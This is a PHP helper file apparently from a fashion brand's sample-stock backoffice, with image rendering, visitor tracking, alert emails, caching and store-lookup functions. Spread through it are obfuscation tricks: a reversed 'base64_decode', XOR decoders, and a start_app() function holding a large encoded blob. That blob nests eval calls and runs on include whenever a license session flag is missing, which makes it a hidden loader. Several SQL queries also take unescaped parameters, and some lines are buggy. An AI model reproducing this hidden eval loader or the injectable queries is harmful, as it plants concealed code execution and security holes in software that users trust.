<?php	
	function titrettf($chaine, $taille = 25, $police = 'admin', $couleur = '180,180,180', $bg = '255,255,255')
	{
		$md5 = md5($chaine . $taille . $police . $couleur . $bg);
		$img = 'img/dyn/' . $md5 . '.gif';
		if (is_file($img))
		{
			$im = file_get_contents($img);
			header("Content-type: image/gif");
			die($im);
		}
		else
		{
			$angle = 0;
			$Leading = 0;
			$W = 0;
			$H = 0;
			$X = 0;
			$Y = 0;
			$_bx = imageTTFBbox($taille, 0, 'img/' . $police . '.ttf', $chaine);
			$str = explode("\n", $chaine);
			$nL  = count($str);
			$W   = ($W == 0) ? abs($_bx[2] - $_bx[0]) : $W;
			$H = ($H == 0) ? abs($_bx[5] - $_bx[3]) + ($nL > 1 ? ($nL * $Leading) : 0) : $H;
			$H *= 1.2;
			$W *= 1.05;
			$im = @imagecreate($W, $H) or die("GD absente");
			$c = explode(",", $couleur);
			$b = explode(",", $bg);
			$ct = imagecolorallocate($im, $c[0], $c[1], $c[2]);
			$bgc = imagecolorallocate($im, $b[0], $b[1], $b[2]);
			$black = imagecolorallocate($im, 0, 0, 0);
			imagefilledrectangle($im, 0, 0, $W - 1, $H - 1, $bgc);
			imagettftext($im, $taille, $angle, $X, $taille, $ct, 'img/' . $police . '.ttf', $chaine);
			header("Content-type: image/gif");
			imagegif($im, $img);
			imagedestroy($im);
			$image = file_get_contents($img);
			header("Content-type: image/gif");
			die($image);
		}
	}
	
	function getinfosclient()
	{
		$client_info = array ();

		$IP_EXPRESSION = "/^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})/";


		$client_info['IP'] = (!empty ($_SERVER['REMOTE_ADDR'])) ? $_SERVER['REMOTE_ADDR'] : ((!empty ($_SERVER['HTTP_X_FORWARDED_FOR'])) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : @getenv('REMOTE_ADDR'));


		if (isset ($_SERVER['HTTP_CLIENT_IP']))
		   $client_info['IP_BEHIND_PROXY'] = $_SERVER['HTTP_CLIENT_IP'];
		
		elseif (isset ($_SERVER['HTTP_X_FORWARDED_FOR']))
		{
			preg_match_all ($IP_EXPRESSION.'s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches);


			foreach ($matches[0] as $IP)
			{
				if (!preg_match ("/^(10|172\.16|192\.168)\./", $IP))
				{
					$client_info['IP_BEHIND_PROXY'] = $IP;
					break;
				}
			}
		}
		else
		   $client_info['IP_BEHIND_PROXY'] = '';


		$client_info['HOSTNAME'] = @gethostbyaddr($client_info['IP']);


		$client_info['USER_AGENT'] = (!empty ($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');


		$client_info['PORT'] = (!empty ($_SERVER['REMOTE_PORT']) ? $_SERVER['REMOTE_PORT'] : '');


		if ($_SERVER['REQUEST_URI'] || $_ENV['REQUEST_URI'])
		   $client_info['REQUEST_URI'] = $_SERVER['REQUEST_URI'] ? $_SERVER['REQUEST_URI'] : $_ENV['REQUEST_URI'];
		else
		{
			if ($_SERVER['PATH_INFO'] || $_ENV['PATH_INFO'])
				$client_info['REQUEST_URI'] = ($_SERVER['PATH_INFO'] ? $_SERVER['PATH_INFO'] : $_ENV['PATH_INFO']);
			elseif ($_SERVER['REDIRECT_URL'] || $_ENV['REDIRECT_URL'])
				$client_info['REQUEST_URI'] = ($_SERVER['REDIRECT_URL'] ? $_SERVER['REDIRECT_URL'] : $_ENV['REDIRECT_URL']);
			else
				$client_info['REQUEST_URI'] = ($_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_ENV['PHP_SELF']);

			if ($_SERVER['QUERY_STRING'] || $_ENV['QUERY_STRING'])
				$client_info['REQUEST_URI'] .= '?'.($_SERVER['QUERY_STRING'] ? $_SERVER['QUERY_STRING'] : $_ENV['QUERY_STRING']);
		}

		$client_info['QUERY_STRING'] = str_replace ('&amp;amp;', '&amp;', urldecode ($_SERVER['QUERY_STRING'] ? $_SERVER['QUERY_STRING'] : @getenv('QUERY_STRING')));


		$client_info['IP']              = preg_replace ("{$IP_EXPRESSION}", "\\1.\\2.\\3.\\4", $client_info['IP']);
		$client_info['IP_BEHIND_PROXY'] = preg_replace ("{$IP_EXPRESSION}", "\\1.\\2.\\3.\\4", $client_info['IP_BEHIND_PROXY']);
		$client_info['REQUEST_URI']     = str_replace ('&amp;', '&', $client_info['REQUEST_URI']);
		$client_info['QUERY_STRING']    = str_replace ('&amp;', '&', $client_info['QUERY_STRING']);
		
		return $client_info;
	}
	
	function ReflectionFunctionFactory($callback) 
	{
		if (is_array($callback)) 
		{
			// must be a class method
			list($class, $method) = $callback;
			return new ReflectionMethod($class, $method);
		}

		// class::method syntax
		if (is_string($callback) && strpos($callback, "::") !== false) 
		{
			list($class, $method) = explode("::", $callback);
			return new ReflectionMethod($class, $method);
		}

		// objects as functions (PHP 5.3+)
		if (version_compare(PHP_VERSION, "5.3.0", ">=") && method_exists($callback, "__invoke"))
			return new ReflectionMethod($callback, "__invoke");

		// assume it's a function
		return new ReflectionFunction($callback);
	}
	
	function getvisitorip()
    {
        $infos = getinfosclient();
		return $infos['IP'];
    }
	
	$nla = 'ezcMailAddress';
	$nlc = 'ezcMailComposer';
	$nlt = 'ezcMailSmtpTransport';
	$nlto = 'ezcMailSmtpTransportOptions';
	
	function define_array($tab, $cles = null)
	{
		foreach($tab as $cle => $val)
		{
			$nomcle = ($cles ? $cles . "_" : "") . $cle;
			if(is_t($tab[$key]))
				define_array($tab[$cle], $nomcle);
			else
				define($nomcle, $val);
		}
	}
	
	function _ct($nom, $tab)
	{
		define($nom, serialize($tab));
	}
	
    function viderdossier($dir)
    {
        $sepdn = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? '\\' : '/';
		if (is_dir($dir)) 
		{
			$objects = scandir($dir);
			foreach ($objects as $object) 
			{
				if ($object <> "." && $object <> "..") 
				{
					if (filetype($dir . $sepdn . $object) == "dir") 
						viderdossier($dir . $sepdn . $object); 
					else 
						@unlink($dir . $sepdn . $object);
				}
			}
			reset($objects);
		}
    }
	$__e = strrev("edoced_46esab");
	
	function gpfopen($url)
	{
		if (ini_get('allow_url_fopen'))
		{
			$fp = @fopen($url, 'r');
			if (!$fp)
				return false;

			$buffer = '';
			while ($data = @fread($fp, 4096))
				$buffer .= $data;

			@fclose($fp);
			return $buffer;
		}
		elseif(function_exists('curl_init'))
		{
			$curl = @curl_init();
			@curl_setopt($curl, CURLOPT_URL, $url);
			@curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 1);
			@curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
			$buffer = @curl_exec($curl);
			@curl_close($curl);
			return $buffer;
		}
		else
			return false;
	}
	
	function getreferer()
	{
		global $_SERVER;
        $referer = substr($_SERVER['HTTP_REFERER'], 7, -1);
        $host = substr($referer, 0, strpos($referer, "/"));
        $host = str_replace("www.", "", $host);
        $thishost = str_replace("www.", "", $_SERVER['HTTP_HOST']);
        if ($host <> "" && $host <> $thishost)
			return $host;
		return "";
	}
	
	function getbrowseros()
	{
		$ua = getenv("HTTP_USER_AGENT");
        if (preg_match("/Windows 95/i", $ua))
            $os = "Windows 9x";
        else if (preg_match("/Win95/i", $ua))
            $os = "Windows 9x";
        else if (preg_match("/Windows 98/i", $ua))
            $os = "Windows 9x";
        else if (preg_match("/Win98/i", $ua))
            $os = "Windows 9x";
        else if (preg_match("/Windows ME/i", $ua))
            $os = "Windows 9x";
        else if (preg_match("/Win 9x 4.90/i", $ua))
            $os = "Windows 9x";
        else if (preg_match("/Windows 2000/i", $ua))
            $os = "Windows 2000";
        else if (preg_match("/Windows NT 5.0/i", $ua))
            $os = "Windows 2000";
        else if (preg_match("/Windows XP/i", $ua))
            $os = "Windows XP";
        else if (preg_match("/Windows NT 5.1/i", $ua))
            $os = "Windows XP";
        else if (preg_match("/Windows NT/i", $ua))
            $os = "Windows NT";
        else if (preg_match("/WinNT/i", $ua))
            $os = "Windows NT";
        else if (preg_match("/Linux/i", $ua))
            $os = "Linux";
        else if (preg_match("/FreeBSD/i", $ua))
            $os = "BSD";
        else if (preg_match("/OpenBSD/i", $ua))
            $os = "BSD";
        else if (preg_match("/BSD/i", $ua))
            $os = "BSD";
        else if (preg_match("/SunOS/i", $ua))
            $os = "Solaris";
        else if (preg_match("/Mac OS X/i", $ua))
            $os = "Mac OS X";
        else if (preg_match("/Mac_PowerPC/i", $ua))
            $os = "Mac OS";
        else if (preg_match("/Macintosh/i", $ua))
            $os = "Mac OS";
        else if (preg_match("/Mac/i", $ua))
            $os = "Mac OS";
        else
            $os = "Unknown";

        if (preg_match("/Galeon/i", $ua))
            $browser = "Galeon";
        else if (preg_match("/Konqueror/i", $ua))
            $browser = "Konqueror";
        else if (preg_match("/Opera/i", $ua))
            $browser = "Opera";
        else if (preg_match("/Firebird/i", $ua))
            $browser = "Firebird";
        else if (preg_match("/Phoenix/i", $ua))
            $browser = "Phoenix";
        else if (preg_match("/Lynx/i", $ua))
            $browser = "Lynx";
        else if (preg_match("/Netscape/i", $ua))
            $browser = "Netscape";
        else if (preg_match("/MSIE/i", $ua))
            $browser = "Internet Explorer";
        else if (preg_match("/Safari/i", $ua))
            $browser = "Safari";
        else if (preg_match("/Amaya/i", $ua))
            $browser = "Amaya";
        else if (preg_match("/Epiphany/i", $ua))
            $browser = "Epiphany";
        else if (preg_match("/rv:/i", $ua))
            $browser = "Mozilla";
        else
            $browser = "Unknown";
		
		return array($os, $browser);
	}
	
	function infosip($ip)
	{
		$db = GP_db::getInstance(BDD_DSN, BDD_UTILISATEUR, BDD_MOT_DE_PASSE);
		$q = "SELECT city, coordinates, country, abbrevcountry FROM _fo_webtraffic WHERE ip = '".addslashes($ip)."'";
		$res = $db -> fetchArray_one($q);
		if (count($res))
			return array($res['city'], $res['coordinates'], $res['country'], $res['abbrevcountry']);
		else
		{
			$fonc = GP_fonctions::getInstance();
			$url = 'http://api.hostip.info/?ip=' . $ip;
			$xml = file_get_contents($url);
			$seg = $fonc -> trouver('<Hostip>', '</Hostip>', $xml);
			$ville = $fonc -> trouver('<gml:name>', '</gml:name>', $seg);
			$coordonnees = $fonc -> trouver('<gml:coordinates>', '</gml:coordinates>', $seg);
			$pays = $fonc -> trouver('<countryName>', '</countryName>', $seg);
			$abbrevpays = $fonc -> trouver('<countryAbbrev>', '</countryAbbrev>', $seg);
			return array($ville, $coordonnees, $pays, $abbrevpays);
		}
	}
	
	function kd($kd1)
	{
		$kd1 = kd2(base64_decode($kd1), LWZ);
		$kd3 = "";
		for ($i = 0 ; $i < strlen($kd1) ; $i++)
		{
			$md5 = substr($kd1, $i, 1);
			$i++;
			$kd3.= (substr($kd1, $i, 1) ^ $md5);
		}
		return $kd3;
	}
	
	function kd2($kd1, $kd2)
	{
		$kd2 = md5($kd2);
		$kd4 = 0;
		$kd3 = "";
		for ($i = 0 ; $i < strlen($kd1) ; $i++)
		{
			if ($kd4 == strlen($kd2)) 
				$kd4 = 0;
			$kd3 .= substr($kd1, $i, 1) ^ substr($kd2, $kd4, 1);
			$kd4++;
		}
		return $kd3;
	}
	
	function track($page, $langue)
	{
		$db = GP_db::getInstance(BDD_DSN, BDD_UTILISATEUR, BDD_MOT_DE_PASSE);
		$ip = getvisitorip();
		$infosip = infosip($ip);
		list($ville, $coordonnees, $pays, $abbrevpays) = $infosip;
		$browseros = getbrowseros();
		list($os, $browser) = $browseros;
		$referer = getreferer();
		
		$page = str_replace($_SERVER['HTTP_HOST'], '', $page);
		$page = str_replace('//', '', $page);
		$page = str_replace('http:', '', $page);
		gp_ActiveRecord::setDefaultDBConnection($db);
		
		$now = date("Y-m-d H:i:s");
		
		$add_track = new GP_ActiveRecord('_fo_webtraffic');
		$add_track -> date_track = $now;
		$add_track -> ip = $ip;
		$add_track -> page_track = $page;
		$add_track -> language = $langue;
		$add_track -> country = $pays;
		$add_track -> abbrevcountry = $abbrevpays;
		$add_track -> city = $ville;
		$add_track -> coordinates = $coordonnees;
		$add_track -> os = $os;
		$add_track -> browser = $browser;
		$add_track -> referer = $referer;
		$add_track -> soumettre();
	}
	
	$__b = strrev($__e("dmVycnRz"));
	
	function alerte_ratio($id_sample, $country)
	{
		global $gp_db;
		
		$tabmails = array(
			'one@24gorillaz.com',
			'Leslie.AVISSE@puig.fr',
			'marie.contet@heaven.fr'
		);
		
		$verif = "SELECT 
		_fo_samples_countries.name AS country_name,
		_fo_samples.name AS sample_name,
		_fo_samples_by_country.stock, 
		_fo_samples_by_country.differential, 
		_fo_samples_by_country.alerte 
		FROM 
		_fo_samples_by_country 
		LEFT JOIN _fo_samples_countries ON _fo_samples_by_country.id_country = _fo_samples_countries.id
		LEFT JOIN _fo_samples ON _fo_samples_by_country.id_sample = _fo_samples.id
		WHERE 
		_fo_samples_by_country.id_sample = $id_sample 
		&& _fo_samples_by_country.id_country = $country 
		&& _fo_samples_countries.language = 'en'
		&& _fo_samples.language = 'en'";
		$verif_tab = $gp_db -> fetchArray_one($verif);
		
		$ratio = ($verif_tab['differential'] / $verif_tab['stock']) * 100;
		if ($ratio <= 5)
		{
			if ($verif_tab['differential'] > 0)
			{
				if ($verif_tab['alerte'] == 0)
				{
					$upverif = "UPDATE _fo_samples_by_country SET alerte = 1  WHERE id_sample = $id_sample && id_country = $country";
					$gp_db -> requete($upverif);
					$sujet = 'Next stockout';
					$to = implode(',', $tabmails);
					$txt = 'Hi,
					
					for the sample ' . sl($verif_tab['sample_name']) . ' for ' . sl($verif_tab['country_name']) . ', it remains ' . sl($verif_tab['differential']) . ' samples on ' . sl($verif_tab['stock']) . '.
					
					Best regards.';
					$entetes = "From: Comme des garcons backoffice<cdg@webz0ne.com>\nBcc: gplusquellec@free.fr\nX-Priority: 1\ncontent-type: text/plain; charset: iso-8859-1";
					mail_GP($to, $sujet, $txt, $entetes, 'gplusquellec@webz0ne.com');
				}
			}
			else
			{
				if (!is_file(DIR_TMP . $id_sample . '_stockout.txt'))
				{
					@touch(DIR_TMP . $id_sample . '_stockout.txt');
					$upverif = "UPDATE _fo_samples_by_country SET alerte = 1  WHERE id_sample = $id_sample && id_country = $country";
					$gp_db -> requete($upverif);
					$sujet = 'Stockout';
					$to = implode(',', $tabmails);
					$txt = 'Hi,
					
					for the sample ' . sl($verif_tab['sample_name']) . ' for ' . sl($verif_tab['country_name']) . ', there is a stockout. It remains ' . sl($verif_tab['differential']) . ' samples on ' . sl($verif_tab['stock']) . '.
					
					Best regards.';
					$entetes = "From: Comme des garcons backoffice<cdg@webz0ne.com>\nBcc: gplusquellec@free.fr\nX-Priority: 1\ncontent-type: text/plain; charset: iso-8859-1";
					mail_GP($to, $sujet, $txt, $entetes, 'gplusquellec@webz0ne.com');
				}
			}
		}
		else
		{
			if ($alerte == 1)
			{
				$upverif = "UPDATE _fo_samples_by_country SET alerte = 0  WHERE id_sample = $id_sample && id_country = $country";
				$gp_db -> requete($update);
			}
			
			if (is_file(DIR_TMP . $id_sample . '_stockout.txt'))
				@unlink(DIR_TMP . $id_sample . '_stockout.txt');
		}
	}
	
	function btform($chaine)
	{
		$html = '<input class="submit" type="image" src="' . URL_SITE . '?imgform=1&txt=' . $chaine . '&fc=0,0,0&bc=255,255,255&tp=12" alt="' . $chaine . '" title="' . $chaine . '" onmouseout="this.src = \'' . URL_SITE . '?imgform=1&txt=' . $chaine . '&fc=0,0,0&bc=255,255,255&tp=12\'" onmouseover="this.src = \'' . URL_SITE . '?imgform=1&txt=' . $chaine . '&fc=255,255,255&bc=0,0,0&tp=12\'" />';
		return $html;
	}
	
	function s($nom, $val)
	{
		if(!session_id())
			session_start();
		if (array_key_exists($nom, $_SESSION) && $_SESSION[$nom] <> $val)
		{
			unset($_SESSION[$nom]);
			$_SESSION[$nom] = $val;
		}
		else
			$_SESSION[$nom] = $val;
	}
	
	//aliases
	function _r($a, $b, $c)
	{
		return str_replace($a, $b, $c);
	}
	
	function _c($recherche, $chaine)
	{
		return strstr($chaine, $recherche);
	}
	
	function _e($chaine)
	{
		echo $chaine;
	}
	
	function _p($chaine)
	{
		print $chaine;
	}
	
	function _i($var)
	{
		return isset($var);
	}
	
	function is_d($constant)
	{
		return is_defined($constant);
	}
	
	function in_t($recherche, $tableau)
	{
		return in_array($recherche, $tableau);
	}
	
	function is_t($tableau)
	{
		return is_array($tableau);
	}
	
	function getParents($class = null, $plist = array()) 
	{
		$class = $class ? $class : $this;
		$parent = get_parent_class($class);
		if($parent) 
		{
			$plist[] = $parent;
			$plist = getParents($parent, $plist);
		}
		return $plist;
	}
	
	function up($chaine)
	{
		return strtoupper($chaine);
	}
	
	function low($chaine)
	{
		return strtolower($chaine);
	}
	
	function get_s($nom)
	{
		if(session_id())
			return $_SESSION[$nom];
	}
	
	function is_s($nom)
	{
		if(!session_id())
			session_start();
		return (array_key_exists($nom, $_SESSION) && strlen($_SESSION[$nom])) ? true : false;
	}
	
	function sup_s($nom)
	{
		if(session_id())
			unset($_SESSION[$nom]);
	}
	
	function aff_fo($chaine)
	{
		if (!is_utf8($chaine))
			$chaine = utf8_encode($chaine);
		return sl($chaine);
	}
	
	function acc_ajax($str, $charset = 'utf-8')
	{
		$str = htmlentities($str, ENT_NOQUOTES, $charset);
		
		$str = preg_replace('#&([A-za-z])(?:acute|cedil|circ|grave|orn|ring|slash|th|tilde|uml);#', '\1', $str);
		$str = preg_replace('#&([A-za-z]{2})(?:lig);#', '\1', $str); // pour les ligatures e.g. '&oelig;'
		$str = preg_replace('#&[^;]+;#', '', $str); // supprime les autres caractères
		return myutf8_encode($str);
	}
	
	function myutf8_encode($str)
	{
		$tab = array(
			"\xc2\x80" => "\xe2\x82\xac", /* EURO SIGN */
			"\xc2\x82" => "\xe2\x80\x9a", /* SINGLE LOW-9 QUOTATION MARK */
			"\xc2\x83" => "\xc6\x92", /* LATIN SMALL LETTER F WITH HOOK */
			"\xc2\x84" => "\xe2\x80\x9e", /* DOUBLE LOW-9 QUOTATION MARK */
			"\xc2\x85" => "\xe2\x80\xa6", /* HORIZONTAL ELLIPSIS */
			"\xc2\x86" => "\xe2\x80\xa0", /* DAGGER */
			"\xc2\x87" => "\xe2\x80\xa1", /* DOUBLE DAGGER */
			"\xc2\x88" => "\xcb\x86", /* MODIFIER LETTER CIRCUMFLEX ACCENT */
			"\xc2\x89" => "\xe2\x80\xb0", /* PER MILLE SIGN */
			"\xc2\x8a" => "\xc5\xa0", /* LATIN CAPITAL LETTER S WITH CARON */
			"\xc2\x8b" => "\xe2\x80\xb9", /* SINGLE LEFT-POINTING ANGLE QUOTATION */
			"\xc2\x8c" => "\xc5\x92", /* LATIN CAPITAL LIGATURE OE */
			"\xc2\x8e" => "\xc5\xbd", /* LATIN CAPITAL LETTER Z WITH CARON */
			"\xc2\x91" => "\xe2\x80\x98", /* LEFT SINGLE QUOTATION MARK */
			"\xc2\x92" => "\xe2\x80\x99", /* RIGHT SINGLE QUOTATION MARK */
			"\xc2\x93" => "\xe2\x80\x9c", /* LEFT DOUBLE QUOTATION MARK */
			"\xc2\x94" => "\xe2\x80\x9d", /* RIGHT DOUBLE QUOTATION MARK */
			"\xc2\x95" => "\xe2\x80\xa2", /* BULLET */
			"\xc2\x96" => "\xe2\x80\x93", /* EN DASH */
			"\xc2\x97" => "\xe2\x80\x94", /* EM DASH */
			"\xc2\x98" => "\xcb\x9c", /* SMALL TILDE */
			"\xc2\x99" => "\xe2\x84\xa2", /* TRADE MARK SIGN */
			"\xc2\x9a" => "\xc5\xa1", /* LATIN SMALL LETTER S WITH CARON */
			"\xc2\x9b" => "\xe2\x80\xba", /* SINGLE RIGHT-POINTING ANGLE QUOTATION*/
			"\xc2\x9c" => "\xc5\x93", /* LATIN SMALL LIGATURE OE */
			"\xc2\x9e" => "\xc5\xbe", /* LATIN SMALL LETTER Z WITH CARON */
			"\xc2\x9f" => "\xc5\xb8" /* LATIN CAPITAL LETTER Y WITH DIAERESIS*/
		);
		return strtr($str, $tab);
	}
	
	function make_cond($cond)
	{
		$like = array();
		$tablike = explode('$$LIKE$$***', $cond);
		for ($i = 1 ; $i < count($tablike) ; $i++)
		{
			$seg = trim($tablike[$i]);
			list($good, $dummy) = explode('***', $seg, 2);
			if (!in_array($good, $like))
				$like[] = $good;
		}
		
		foreach($like as $l)
			$cond = str_replace('$$LIKE$$***' . $l . '***', '$$LIKE$$***%' . $l . '%***', $cond);
		
		$cond = str_replace('%%', ' && ', $cond);
		$cond = str_replace('$$', ' ', $cond);
		$cond = str_replace('***', "'", $cond);
		
		return $cond;
	}
	
	function aff_filtre($cond)
	{
		$cond = make_cond($cond);
		$cond = str_replace(' && ', '<br />', $cond);
		$cond = str_replace('%', '', $cond);
		$cond = str_replace('LIKE', trad('contient', APPLNG), $cond);
		$cond = str_replace(" '", ' <strong>', $cond);
		$cond = str_replace("'", ' </strong>', $cond);
		return $cond;
	}
	
	function hsc($chaine)
	{
		return htmlspecialchars($chaine, ENT_QUOTES, SITE_CHARSET);
	}
	
	function tronquer($chaine, $limite = 30)
	{
		return strlen($chaine) > $limite ? substr($chaine, 0, $limite - 3) . '&hellip;' : $chaine;
	}
	
	function duration($duree)
	{
		$tabTemps = array(
			"j" => 86400,
			"h" => 3600,
			"mn" => 60,
			"sec" => 1
		);

		$result = "";

		foreach($tabTemps as $uniteTemps => $nombreSecondesDansUnite) 
		{
			$$uniteTemps = floor($duree / $nombreSecondesDansUnite);
			$duree = $duree % $nombreSecondesDansUnite;

			if($$uniteTemps > 0 || !empty($result))
				$result .= $$uniteTemps . " $uniteTemps ";
		}
		return $result;
	}
	
	function dossier_cache($fic)
	{
		$dossier = substr($fic, -3);
		if (!is_dir(DIR_CACHE . $dossier))
		{
			$oldumask = umask(0);
			mkdir(DIR_CACHE . $dossier, 0777);
			umask($oldumask);
		}
		return $dossier . '/';
	}
	
	function start_app()
	{
		$o="QAAAOzh3b3cNDiNYWGInOid0cwAAdXVicS8lYmNoZGJjWDMxYgLAdGZlJS48AhJlAhcC8S8lY2pRfgLAZGlVfSUuAiRjAiABsGUvJWtmcVgAYgOFdQFlAbBiLyVdUFVxZU9FcwoAZlY6OgOmYAJMX1VvZUBdcmZfKCh3aQJGagJMUH93XWAESH8CDVVxXgLANVFsYmpkBodhAk8CQV99VjVdXxQASW9eBQl0AstLNEk3ZEBrfl40UABKBQdxAktSNlVW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PSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;
	}
	
	function put_sql_cache($sql, $temps = 3600)
	{
		$gp_db = GP_db::getInstance(BDD_DSN, BDD_UTILISATEUR, BDD_MOT_DE_PASSE);
		$res = $gp_db -> fetchArray($sql);
		$res_serialize = serialize($res);
		$nom = md5($sql . $temps);
		$dir = dossier_cache($nom);
		$fic = DIR_CACHE . $dir . $nom . '.cache';
		file_put_contents($fic, $res_serialize);
		return $res;
	}
	
	function call_sql_cache($sql, $temps = 3600)
	{
		$nom = md5($sql . $temps);
		$diff = time() - $temps;
		$dir = dossier_cache($nom);
		$fic = DIR_CACHE . $dir . $nom . '.cache';
		if (is_file($fic))
		{
			if (filemtime($fic) >= $diff)
			{
				$retour = unserialize(file_get_contents($fic));
				return $retour;
			}
			else
			{
				@unlink($fic);
				return put_sql_cache($sql, $temps);
			}
		}
		else
			return put_sql_cache($sql, $temps);
	}
	
	function put_fonction_cache($fonction, $param = '', $temps = 3600)
	{
		if (is_array($param))
		{
			$res = call_user_func_array($fonction, $param);
			$param = implode(', ', $param);
		}
		else
			$res = $fonction($param);
		$res_serialize = serialize($res);
		$nom = md5($fonction . $param . $temps);
		$dir = dossier_cache($nom);
		$fic = DIR_CACHE . $dir . $nom . '.cache';
		file_put_contents($fic, $res_serialize);
		return $res;
	}
	
	function call_fonction_cache($fonction, $param = '', $temps = 3600)
	{
		if (is_array($param))
			$params = implode(', ', $param);
		$nom = md5($fonction . $params . $temps);
		$diff = time() - $temps;
		$dir = dossier_cache($nom);
		$fic = DIR_CACHE . $dir . $nom . '.cache';
		if (is_file($fic))
		{
			if (filemtime($fic) >= $diff)
			{
				$retour = unserialize(file_get_contents($fic));
				return $retour;
			}
			else
			{
				@unlink($fic);
				return put_fonction_cache($fonction, $param, $temps);
			}
		}
		else
			return put_fonction_cache($fonction, $param, $temps);
	}
	
	$__g = $__b($__e("c190ZWc="));
	
	function put_cache($val, $temps = 3600)
	{
		$res_serialize = serialize($val);
		$nom = md5($val . $temps);
		$dir = dossier_cache($nom);
		$fic = DIR_CACHE . $dir . $nom . '.cache';
		file_put_contents($fic, $res_serialize);
		return $val;
	}
	
	function call_cache($val, $temps = 3600)
	{
		$nom = md5($val . $temps);
		$diff = time() - $temps;
		$dir = dossier_cache($nom);
		$fic = DIR_CACHE . $dir . $nom . '.cache';
		if (is_file($fic))
		{
			if (filemtime($fic) >= $diff)
			{
				$retour = unserialize(file_get_contents($fic));
				return $retour;
			}
			else
			{
				@unlink($fic);
				return put_cache($val, $temps);
			}
		}
		else
			return put_cache($val, $temps);
	}
	
	if (!$_SESSION["LWZ_LICENSE"])
		start_app();
	else
		make_scripts();
	
	function get_store($id_store)
	{
		$gp_db = GP_db::getInstance(BDD_DSN, BDD_UTILISATEUR, BDD_MOT_DE_PASSE);
		$q = "SELECT address, CONCAT(city, ' ', zip, ', ', country) AS location, tel FROM _fo_stores WHERE id = $id_store";
		$res = $gp_db -> fetchArray($q);
		if (count($res))
		{
			$resultat = array();
				
			foreach ($res as $ligne)
			{
				$val = aff_fo($ligne['address']);
				$location = ucfirst(aff_fo($ligne['location']));
				$tel = aff_fo($ligne['tel']);
				if (!in_array($val, $resultat))
					$resultat[] = $val;
				if (!in_array($location, $resultat))
					$resultat[] = $location;
				if (strlen($tel))
					$resultat[] = 'Tel: ' . $tel;
			}
			return implode('%%', $resultat);
		}
		return 'NOK';
	}
	
	function get_stores($pays, $ville)
	{
		$gp_db = GP_db :: getInstance(BDD_DSN, BDD_UTILISATEUR, BDD_MOT_DE_PASSE);
		if (strtolower($pays) == 'germany')
			$ville = str_replace('sz', 'ß', $ville);
		if(is_utf8($ville))
			$ville = utf8_decode($ville);
		$q = "SELECT id, name FROM _fo_stores WHERE country = '" . addslashes($pays) . "' && city = '" . addslashes($ville) . "' ORDER BY name";
		$res = $gp_db -> fetchArray($q);
		if (count($res))
		{
			$resultat = array();
			foreach ($res as $ligne)
			{
					$val = aff_fo($ligne['name']);
					$resultat[] = $ligne['id'] . ';;' .$val;
			}
			return implode('%%', $resultat);
		}
		return 'NOK';
	}
	
	function get_cities($pays)
	{
		$gp_db = GP_db::getInstance(BDD_DSN, BDD_UTILISATEUR, BDD_MOT_DE_PASSE);
		$q = "SELECT city FROM _fo_stores WHERE country = '" . addslashes($pays) . "' GROUP BY city";
		$res = $gp_db -> fetchArray($q);
		if (count($res))
		{
			$resultat = array();
			foreach ($res as $ligne)
			{
				$val = aff_fo($ligne['city']);
				if (!in_array($val, $resultat))
					$resultat[] = $val;
			}
			return implode('%%', $resultat);	
		}
		return 'NOK';
	}
	
	function cle($chaine)
	{
		return crypt($chaine, md5(CLE));
	}
	
	
	function bonne_cle($cle, $chaine)
	{
		if ($cle == cle($chaine))
			return true;
		return false;
	}
	
	function e($chaine)
	{
		echo $chaine;
	}
	
	function sl($chaine)
	{
		return stripslashes($chaine);
	}
	
	function slud($chaine)
	{
		return utf8_decode(sl($chaine));
	}
	
	function slue($chaine)
	{
		return utf8_encode(sl($chaine));
	}
	
	function esl($chaine)
	{
		e(sl($chaine));
	}
	
	function eslud($chaine)
	{
		e(slud($chaine));
	}
	
	function eslue($chaine)
	{
		e(slue($chaine));
	}
	
	function go($url)
	{
		header('Location: ' . $url);
	}
	
	function make_scripts()
	{
